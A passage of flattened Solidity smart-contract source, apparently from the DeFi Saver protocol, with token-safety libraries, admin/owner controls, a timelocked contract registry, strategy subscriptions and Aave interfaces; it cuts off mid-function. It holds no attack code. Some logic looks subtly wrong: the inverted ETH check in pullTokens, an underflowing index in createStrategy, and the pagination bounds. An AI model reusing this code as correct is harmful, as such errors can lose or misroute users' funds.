event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {ERC20-approve}, and its usage is discouraged.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AdminVault {
address public owner;
address public admin;
constructor() {
owner = msg.sender;
admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
require(admin == msg.sender, "msg.sender not admin");
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
require(admin == msg.sender, "msg.sender not admin");
admin = _admin;
}
}
/// @title AdminAuth Handles owner/admin priviligies over smart contracts
contract AdminAuth {
using SafeERC20 for IERC20;
AdminVault public adminVault = AdminVault(0xCCf3d848e08b94478Ed8f46fFead3008faF581fD);
modifier onlyOwner() {
require(adminVault.owner() == msg.sender, "msg.sender not owner");
_;
}
modifier onlyAdmin() {
require(adminVault.admin() == msg.sender, "msg.sender not admin");
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
/// @notice Changes the admin vault that is currently used
/// @param _newAdminVault Address of the new Admin Vault contract
function changeAdminVault(address _newAdminVault) public onlyAdmin {
adminVault = AdminVault(_newAdminVault);
}
}
contract DefisaverLogger {
event LogEvent(
address indexed contractAddress,
address indexed caller,
string indexed logName,
bytes data
);
// solhint-disable-next-line func-name-mixedcase
function Log(
address _contract,
address _caller,
string memory _logName,
bytes memory _data
) public {
emit LogEvent(_contract, _caller, _logName, _data);
}
}
/// @title Stores all the important DFS addresses and can be changed (timelock)
contract DFSRegistry is AdminAuth {
DefisaverLogger public constant logger = DefisaverLogger(
0x5c55B921f590a89C1Ebe84dF170E655a82b62126
);
string public constant ERR_ENTRY_ALREADY_EXISTS = "Entry id already exists";
string public constant ERR_ENTRY_NON_EXISTENT = "Entry id doesn't exists";
string public constant ERR_ENTRY_NOT_IN_CHANGE = "Entry not in change process";
string public constant ERR_WAIT_PERIOD_SHORTER = "New wait period must be bigger";
string public constant ERR_CHANGE_NOT_READY = "Change not ready yet";
string public constant ERR_EMPTY_PREV_ADDR = "Previous addr is 0";
string public constant ERR_ALREADY_IN_CONTRACT_CHANGE = "Already in contract change";
string public constant ERR_ALREADY_IN_WAIT_PERIOD_CHANGE = "Already in wait period change";
struct Entry {
address contractAddr;
uint256 waitPeriod;
uint256 changeStartTime;
bool inContractChange;
bool inWaitPeriodChange;
bool exists;
}
mapping(bytes32 => Entry) public entries;
mapping(bytes32 => address) public previousAddresses;
mapping(bytes32 => address) public pendingAddresses;
mapping(bytes32 => uint256) public pendingWaitTimes;
/// @notice Given an contract id returns the registred address
/// @dev Id is keccak256 of the contract name
/// @param _id Id of contract
function getAddr(bytes32 _id) public view returns (address) {
return entries[_id].contractAddr;
}
/// @notice Helper function to easily query if id is registred
/// @param _id Id of contract
function isRegistered(bytes32 _id) public view returns (bool) {
return entries[_id].exists;
}
/////////////////////////// OWNER ONLY FUNCTIONS ///////////////////////////
/// @notice Adds a new contract to the registry
/// @param _id Id of contract
/// @param _contractAddr Address of the contract
/// @param _waitPeriod Amount of time to wait before a contract address can be changed
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public onlyOwner {
require(!entries[_id].exists, ERR_ENTRY_ALREADY_EXISTS);
entries[_id] = Entry({
contractAddr: _contractAddr,
waitPeriod: _waitPeriod,
changeStartTime: 0,
inContractChange: false,
inWaitPeriodChange: false,
exists: true
});
// Remember tha address so we can revert back to old addr if needed
previousAddresses[_id] = _contractAddr;
logger.Log(
address(this),
msg.sender,
"AddNewContract",
abi.encode(_id, _contractAddr, _waitPeriod)
);
}
/// @notice Revertes to the previous address immediately
/// @dev In case the new version has a fault, a quick way to fallback to the old contract
/// @param _id Id of contract
function revertToPreviousAddress(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(previousAddresses[_id] != address(0), ERR_EMPTY_PREV_ADDR);
address currentAddr = entries[_id].contractAddr;
entries[_id].contractAddr = previousAddresses[_id];
logger.Log(
address(this),
msg.sender,
"RevertToPreviousAddress",
abi.encode(_id, currentAddr, previousAddresses[_id])
);
}
/// @notice Starts an address change for an existing entry
/// @dev Can override a change that is currently in progress
/// @param _id Id of contract
/// @param _newContractAddr Address of the new contract
function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(!entries[_id].inWaitPeriodChange, ERR_ALREADY_IN_WAIT_PERIOD_CHANGE);
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inContractChange = true;
pendingAddresses[_id] = _newContractAddr;
logger.Log(
address(this),
msg.sender,
"StartContractChange",
abi.encode(_id, entries[_id].contractAddr, _newContractAddr)
);
}
/// @notice Changes new contract address, correct time must have passed
/// @param _id Id of contract
function approveContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE);
require(
block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line
ERR_CHANGE_NOT_READY
);
address oldContractAddr = entries[_id].contractAddr;
entries[_id].contractAddr = pendingAddresses[_id];
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
pendingAddresses[_id] = address(0);
previousAddresses[_id] = oldContractAddr;
logger.Log(
address(this),
msg.sender,
"ApproveContractChange",
abi.encode(_id, oldContractAddr, entries[_id].contractAddr)
);
}
/// @notice Cancel pending change
/// @param _id Id of contract
function cancelContractChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE);
address oldContractAddr = pendingAddresses[_id];
pendingAddresses[_id] = address(0);
entries[_id].inContractChange = false;
entries[_id].changeStartTime = 0;
logger.Log(
address(this),
msg.sender,
"CancelContractChange",
abi.encode(_id, oldContractAddr, entries[_id].contractAddr)
);
}
/// @notice Starts the change for waitPeriod
/// @param _id Id of contract
/// @param _newWaitPeriod New wait time
function startWaitPeriodChange(bytes32 _id, uint256 _newWaitPeriod) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(!entries[_id].inContractChange, ERR_ALREADY_IN_CONTRACT_CHANGE);
pendingWaitTimes[_id] = _newWaitPeriod;
entries[_id].changeStartTime = block.timestamp; // solhint-disable-line
entries[_id].inWaitPeriodChange = true;
logger.Log(
address(this),
msg.sender,
"StartWaitPeriodChange",
abi.encode(_id, _newWaitPeriod)
);
}
/// @notice Changes new wait period, correct time must have passed
/// @param _id Id of contract
function approveWaitPeriodChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE);
require(
block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line
ERR_CHANGE_NOT_READY
);
uint256 oldWaitTime = entries[_id].waitPeriod;
entries[_id].waitPeriod = pendingWaitTimes[_id];
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
pendingWaitTimes[_id] = 0;
logger.Log(
address(this),
msg.sender,
"ApproveWaitPeriodChange",
abi.encode(_id, oldWaitTime, entries[_id].waitPeriod)
);
}
/// @notice Cancel wait period change
/// @param _id Id of contract
function cancelWaitPeriodChange(bytes32 _id) public onlyOwner {
require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT);
require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE);
uint256 oldWaitPeriod = pendingWaitTimes[_id];
pendingWaitTimes[_id] = 0;
entries[_id].inWaitPeriodChange = false;
entries[_id].changeStartTime = 0;
logger.Log(
address(this),
msg.sender,
"CancelWaitPeriodChange",
abi.encode(_id, oldWaitPeriod, entries[_id].waitPeriod)
);
}
}
/// @title Implements Action interface and common helpers for pasing inputs
abstract contract ActionBase {
address public constant REGISTRY_ADDR = 0xB0e1682D17A96E8551191c089673346dF7e1D467;
DFSRegistry public constant registry = DFSRegistry(REGISTRY_ADDR);
DefisaverLogger public constant logger = DefisaverLogger(
0x5c55B921f590a89C1Ebe84dF170E655a82b62126
);
string public constant ERR_SUB_INDEX_VALUE = "Wrong sub index value";
string public constant ERR_RETURN_INDEX_VALUE = "Wrong return index value";
/// @dev Subscription params index range [128, 255]
uint8 public constant SUB_MIN_INDEX_VALUE = 128;
uint8 public constant SUB_MAX_INDEX_VALUE = 255;
/// @dev Return params index range [1, 127]
uint8 public constant RETURN_MIN_INDEX_VALUE = 1;
uint8 public constant RETURN_MAX_INDEX_VALUE = 127;
/// @dev If the input value should not be replaced
uint8 public constant NO_PARAM_MAPPING = 0;
/// @dev We need to parse Flash loan actions in a different way
enum ActionType { FL_ACTION, STANDARD_ACTION, CUSTOM_ACTION }
/// @notice Parses inputs and runs the implemented action through a proxy
/// @dev Is called by the TaskExecutor chaining actions together
/// @param _callData Array of input values each value encoded as bytes
/// @param _subData Array of subscribed vales, replaces input values if specified
/// @param _paramMapping Array that specifies how return and subscribed values are mapped in input
/// @param _returnValues Returns values from actions before, which can be injected in inputs
/// @return Returns a bytes32 value through DSProxy, each actions implements what that value is
function executeAction(
bytes[] memory _callData,
bytes[] memory _subData,
uint8[] memory _paramMapping,
bytes32[] memory _returnValues
) public payable virtual returns (bytes32);
/// @notice Parses inputs and runs the single implemented action through a proxy
/// @dev Used to save gas when executing a single action directly
function executeActionDirect(bytes[] memory _callData) public virtual payable;
/// @notice Returns the type of action we are implementing
function actionType() public pure virtual returns (uint8);
//////////////////////////// HELPER METHODS ////////////////////////////
/// @notice Given an uint256 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can repacle the input value with
/// @param _returnValues Array of subscription data we can repacle the input value with
function _parseParamUint(
uint _param,
uint8 _mapType,
bytes[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (uint) {
if (isReplacable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = uint(_returnValues[getReturnIndex(_mapType)]);
} else {
_param = abi.decode(_subData[getSubIndex(_mapType)], (uint));
}
}
return _param;
}
/// @notice Given an addr input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can repacle the input value with
/// @param _returnValues Array of subscription data we can repacle the input value with
function _parseParamAddr(
address _param,
uint8 _mapType,
bytes[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (address) {
if (isReplacable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = address(bytes20((_returnValues[getReturnIndex(_mapType)])));
} else {
_param = abi.decode(_subData[getSubIndex(_mapType)], (address));
}
}
return _param;
}
/// @notice Given an bytes32 input, injects return/sub values if specified
/// @param _param The original input value
/// @param _mapType Indicated the type of the input in paramMapping
/// @param _subData Array of subscription data we can repacle the input value with
/// @param _returnValues Array of subscription data we can repacle the input value with
function _parseParamABytes32(
bytes32 _param,
uint8 _mapType,
bytes[] memory _subData,
bytes32[] memory _returnValues
) internal pure returns (bytes32) {
if (isReplacable(_mapType)) {
if (isReturnInjection(_mapType)) {
_param = (_returnValues[getReturnIndex(_mapType)]);
} else {
_param = abi.decode(_subData[getSubIndex(_mapType)], (bytes32));
}
}
return _param;
}
/// @notice Checks if the paramMapping value indicated that we need to inject values
/// @param _type Indicated the type of the input
function isReplacable(uint8 _type) internal pure returns (bool) {
return _type != NO_PARAM_MAPPING;
}
/// @notice Checks if the paramMapping value is in the return value range
/// @param _type Indicated the type of the input
function isReturnInjection(uint8 _type) internal pure returns (bool) {
return (_type >= RETURN_MIN_INDEX_VALUE) && (_type <= RETURN_MAX_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in return array value
/// @param _type Indicated the type of the input
function getReturnIndex(uint8 _type) internal pure returns (uint8) {
require(isReturnInjection(_type), ERR_SUB_INDEX_VALUE);
return (_type - RETURN_MIN_INDEX_VALUE);
}
/// @notice Transforms the paramMapping value to the index in sub array value
/// @param _type Indicated the type of the input
function getSubIndex(uint8 _type) internal pure returns (uint8) {
require(_type >= SUB_MIN_INDEX_VALUE, ERR_RETURN_INDEX_VALUE);
return (_type - SUB_MIN_INDEX_VALUE);
}
}
abstract contract IDSProxy {
// function execute(bytes memory _code, bytes memory _data)
// public
// payable
// virtual
// returns (address, bytes32);
function execute(address _target, bytes memory _data) public payable virtual returns (bytes32);
function setCache(address _cacheAddr) public payable virtual returns (bool);
function owner() public view virtual returns (address);
}
/// @title Struct Data in a separate contract soit can be used in multiple places
contract StrategyData {
struct Template {
string name;
bytes32[] triggerIds;
bytes32[] actionIds;
uint8[][] paramMapping;
}
struct Task {
string name;
bytes[][] callData;
bytes[][] subData;
bytes32[] actionIds;
uint8[][] paramMapping;
}
struct Strategy {
uint templateId;
address proxy;
bytes[][] subData;
bytes[][] triggerData;
bool active;
uint posInUserArr;
}
}
/// @title Storage of strategies and templates
contract Subscriptions is StrategyData {
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
string public constant ERR_EMPTY_STRATEGY = "Strategy does not exist";
string public constant ERR_SENDER_NOT_OWNER = "Sender is not strategy owner";
string public constant ERR_USER_POS_EMPTY = "No user positions";
/// @dev The order of strategies might change as they are deleted
Strategy[] public strategies;
/// @dev Templates are fixed and are non removable
Template[] public templates;
/// @dev Keeps track of all the users strategies (their indexes in the array)
mapping (address => uint[]) public usersPos;
/// @dev Increments on state change, used for easier off chain tracking of changes
uint public updateCounter;
/// @notice Creates a new strategy with an existing template
/// @param _templateId Id of the template used for strategy
/// @param _active If the strategy is turned on at the start
/// @param _subData Subscription data for actions
/// @param _triggerData Subscription data for triggers
function createStrategy(
uint _templateId,
bool _active,
bytes[][] memory _subData,
bytes[][] memory _triggerData
) public returns (uint) {
strategies.push(
Strategy({
templateId: _templateId,
proxy: msg.sender,
active: _active,
subData: _subData,
triggerData: _triggerData,
posInUserArr: (usersPos[msg.sender].length - 1)
})
);
usersPos[msg.sender].push(strategies.length - 1);
updateCounter++;
logger.Log(address(this), msg.sender, "CreateStrategy", abi.encode(strategies.length - 1));
return strategies.length - 1;
}
/// @notice Creates a new template to use in strategies
/// @dev Templates once created can't be changed
/// @param _name Name of template, used mainly for logging
/// @param _triggerIds Array of trigger ids which translate to trigger addresses
/// @param _actionIds Array of actions ids which translate to action addresses
/// @param _paramMapping Array that holds metadata of how inputs are mapped to sub/return data
function createTemplate(
string memory _name,
bytes32[] memory _triggerIds,
bytes32[] memory _actionIds,
uint8[][] memory _paramMapping
) public returns (uint) {
templates.push(
Template({
name: _name,
triggerIds: _triggerIds,
actionIds: _actionIds,
paramMapping: _paramMapping
})
);
updateCounter++;
logger.Log(address(this), msg.sender, "CreateTemplate", abi.encode(templates.length - 1));
return templates.length - 1;
}
/// @notice Updates the users strategy
/// @dev Only callable by proxy who created the strategy
/// @param _startegyId Id of the strategy to update
/// @param _templateId Id of the template used for strategy
/// @param _active If the strategy is turned on at the start
/// @param _subData Subscription data for actions
/// @param _triggerData Subscription data for triggers
function updateStrategy(
uint _startegyId,
uint _templateId,
bool _active,
bytes[][] memory _subData,
bytes[][] memory _triggerData
) public {
Strategy storage s = strategies[_startegyId];
require(s.proxy != address(0), ERR_EMPTY_STRATEGY);
require(msg.sender == s.proxy, ERR_SENDER_NOT_OWNER);
s.templateId = _templateId;
s.active = _active;
s.subData = _subData;
s.triggerData = _triggerData;
updateCounter++;
logger.Log(address(this), msg.sender, "UpdateStrategy", abi.encode(_startegyId));
}
/// @notice Unsubscribe an existing strategy
/// @dev Only callable by proxy who created the strategy
/// @param _subId Subscription id
function removeStrategy(uint256 _subId) public {
Strategy memory s = strategies[_subId];
require(s.proxy != address(0), ERR_EMPTY_STRATEGY);
require(msg.sender == s.proxy, ERR_SENDER_NOT_OWNER);
uint lastSub = strategies.length - 1;
_removeUserPos(msg.sender, s.posInUserArr);
strategies[_subId] = strategies[lastSub]; // last strategy put in place of the deleted one
strategies.pop(); // delete last strategy, because it moved
logger.Log(address(this), msg.sender, "Unsubscribe", abi.encode(_subId));
}
function _removeUserPos(address _user, uint _index) internal {
require(usersPos[_user].length > 0, ERR_USER_POS_EMPTY);
uint lastPos = usersPos[_user].length - 1;
usersPos[_user][_index] = usersPos[_user][lastPos];
usersPos[_user].pop();
}
///////////////////// VIEW ONLY FUNCTIONS ////////////////////////////
function getTemplateFromStrategy(uint _strategyId) public view returns (Template memory) {
uint templateId = strategies[_strategyId].templateId;
return templates[templateId];
}
function getStrategy(uint _strategyId) public view returns (Strategy memory) {
return strategies[_strategyId];
}
function getTemplate(uint _templateId) public view returns (Template memory) {
return templates[_templateId];
}
function getStrategyCount() public view returns (uint256) {
return strategies.length;
}
function getTemplateCount() public view returns (uint256) {
return templates.length;
}
function getStrategies() public view returns (Strategy[] memory) {
return strategies;
}
function getTemplates() public view returns (Template[] memory) {
return templates;
}
function userHasStrategies(address _user) public view returns (bool) {
return usersPos[_user].length > 0;
}
function getUserStrategies(address _user) public view returns (Strategy[] memory) {
Strategy[] memory userStrategies = new Strategy[](usersPos[_user].length);
for (uint i = 0; i < usersPos[_user].length; ++i) {
userStrategies[i] = strategies[usersPos[_user][i]];
}
return userStrategies;
}
function getPaginatedStrategies(uint _page, uint _perPage) public view returns (Strategy[] memory) {
Strategy[] memory strategiesPerPage = new Strategy[](_perPage);
uint start = _page * _perPage;
uint end = start + _perPage;
end = (end > strategiesPerPage.length) ? strategiesPerPage.length : end;
uint count = 0;
for (uint i = start; i < end; i++) {
strategiesPerPage[count] = strategies[i];
count++;
}
return strategiesPerPage;
}
function getPaginatedTemplates(uint _page, uint _perPage) public view returns (Template[] memory) {
Template[] memory templatesPerPage = new Template[](_perPage);
uint start = _page * _perPage;
uint end = start + _perPage;
end = (end > templatesPerPage.length) ? templatesPerPage.length : end;
uint count = 0;
for (uint i = start; i < end; i++) {
templatesPerPage[count] = templates[i];
count++;
}
return templatesPerPage;
}
}
abstract contract ILendingPool {
function flashLoan(
address payable _receiver,
address _reserve,
uint256 _amount,
bytes calldata _params
) external virtual;
function deposit(
address _reserve,
uint256 _amount,
uint16 _referralCode
) external payable virtual;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral)
external
virtual;
function borrow(
address _reserve,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode
) external virtual;
function repay(
address _reserve,
uint256 _amount,
address payable _onBehalfOf
) external payable virtual;
function swapBorrowRateMode(address _reserve) external virtual;
function getReserves() external view virtual returns (address[] memory);
/// @param _reserve underlying token address
function getReserveData(address _reserve)
external
view
virtual
returns (
uint256 totalLiquidity, // reserve total liquidity
uint256 availableLiquidity, // reserve available liquidity for borrowing
uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate
uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate
uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units.
uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units.
uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units.
uint256 averageStableBorrowRate, // current average stable borrow rate
uint256 utilizationRate, // expressed as total borrows/total liquidity.
uint256 liquidityIndex, // cumulative liquidity index
uint256 variableBorrowIndex, // cumulative variable borrow index
address aTokenAddress, // aTokens contract address for the specific _reserve
uint40 lastUpdateTimestamp // timestamp of the last update of reserve data
);
/// @param _user users address
function getUserAccountData(address _user)
external
view
virtual
returns (
uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei
uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei
uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei
uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei
uint256 availableBorrowsETH, // user available amount to borrow in ETH
uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited
uint256 ltv, // user average Loan-to-Value between all the collaterals
uint256 healthFactor // user current Health Factor
);
/// @param _reserve underlying token address
/// @param _user users address
function getUserReserveData(address _reserve, address _user)
external
view
virtual
returns (
uint256 currentATokenBalance, // user current reserve aToken balance
uint256 currentBorrowBalance, // user current reserve outstanding borrow balance
uint256 principalBorrowBalance, // user balance of borrowed asset
uint256 borrowRateMode, // user borrow rate mode either Stable or Variable
uint256 borrowRate, // user current borrow rate APY
uint256 liquidityRate, // user current earn rate on _reserve
uint256 originationFee, // user outstanding loan origination fee
uint256 variableBorrowIndex, // user variable cumulative index
uint256 lastUpdateTimestamp, // Timestamp of the last data update
bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral
);
function getReserveConfigurationData(address _reserve)
external
view
virtual
returns (
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address rateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive
);
// ------------------ LendingPoolCoreData ------------------------
function getReserveATokenAddress(address _reserve) public view virtual returns (address);
function getReserveConfiguration(address _reserve)
external
view
virtual
returns (
uint256,
uint256,
uint256,
bool
);
function getUserUnderlyingAssetBalance(address _reserve, address _user)
public
view
virtual
returns (uint256);
function getReserveCurrentLiquidityRate(address _reserve) public view virtual returns (uint256);
function getReserveCurrentVariableBorrowRate(address _reserve)
public
view
virtual
returns (uint256);
function getReserveTotalLiquidity(address _reserve) public view virtual returns (uint256);
function getReserveAvailableLiquidity(address _reserve) public view virtual returns (uint256);
function getReserveTotalBorrowsVariable(address _reserve) public view virtual returns (uint256);
// ---------------- LendingPoolDataProvider ---------------------
function calculateUserGlobalData(address _user)
public
view
virtual
returns (
uint256 totalLiquidityBalanceETH,
uint256 totalCollateralBalanceETH,
uint256 totalBorrowBalanceETH,
uint256 totalFeesETH,
uint256 currentLtv,
uint256 currentLiquidationThreshold,
uint256 healthFactor,
bool healthFactorBelowThreshold
);
}
abstract contract ILendingPoolAddressesProvider {
function getLendingPool() public view virtual returns (address);
function setLendingPoolImpl(address _pool) public virtual;
function getLendingPoolCore() public view virtual returns (address payable);
function setLendingPoolCoreImpl(address _lendingPoolCore) public virtual;
function getLendingPoolConfigurator() public view virtual returns (address);
function setLendingPoolConfiguratorImpl(address _configurator) public virtual;
function getLendingPoolDataProvider() public view virtual returns (address);
function setLendingPoolDataProviderImpl(address _provider) public virtual;
function getLendingPoolParametersProvider() public view virtual returns (address);
function setLendingPoolParametersProviderImpl(address _parametersProvider) public virtual;
function getTokenDistributor() public view virtual returns (address);
function setTokenDistributor(address _tokenDistributor) public virtual;
function getFeeProvider() public view virtual returns (address);
function setFeeProviderImpl(address _feeProvider) public virtual;
function getLendingPoolLiquidationManager() public view virtual returns (address);
function setLendingPoolLiquidationManager(address _manager) public virtual;
function getLendingPoolManager() public view virtual returns (address);
function setLendingPoolManager(address _lendingPoolManager) public virtual;
function getPriceOracle() public view virtual returns (address);
function setPriceOracle(address _priceOracle) public virtual;
function getLendingRateOracle() public view virtual returns (address);
function setLendingRateOracle(address _lendingRateOracle) public virtual;
}
library EthAddressLib {
function ethAddress() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
}
}
abstract contract IWETH {
function allowance(address, address) public virtual returns (uint256);
function balanceOf(address) public virtual returns (uint256);
function approve(address, uint256) public virtual;
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(
address,
address,
uint256
) public virtual returns (bool);
function deposit() public payable virtual;
function withdraw(uint256) public virtual;
}
contract TokenUtils {
using SafeERC20 for IERC20;
address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // mainnet
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
function approveToken(address _tokenAddr, address _to, uint _amount) internal {
if (_tokenAddr == ETH_ADDR) return;
if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) {
IERC20(_tokenAddr).safeApprove(_to, _amount);
}
}
function pullTokens(address _token, address _from, uint256 _amount) internal returns (uint) {
// handle max uint amount
if (_amount == uint(-1)) {
uint allowance = uint (-1);
if (_token == ETH_ADDR) {
allowance = IERC20(_token).allowance(address(this), _from);
}
uint balance = getBalance(_token, _from);
_amount = (balance > allowance) ? allowance : balance;
}
if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
return _amount;
}
function withdrawTokens(
address _token,
address _to,
uint256 _amount
) internal returns (uint) {
if (_amount == uint(-1)) {
_amount = getBalance(_token, address(this));
}
if (_to != address(0) && _to != address(this) && _amount != 0) {
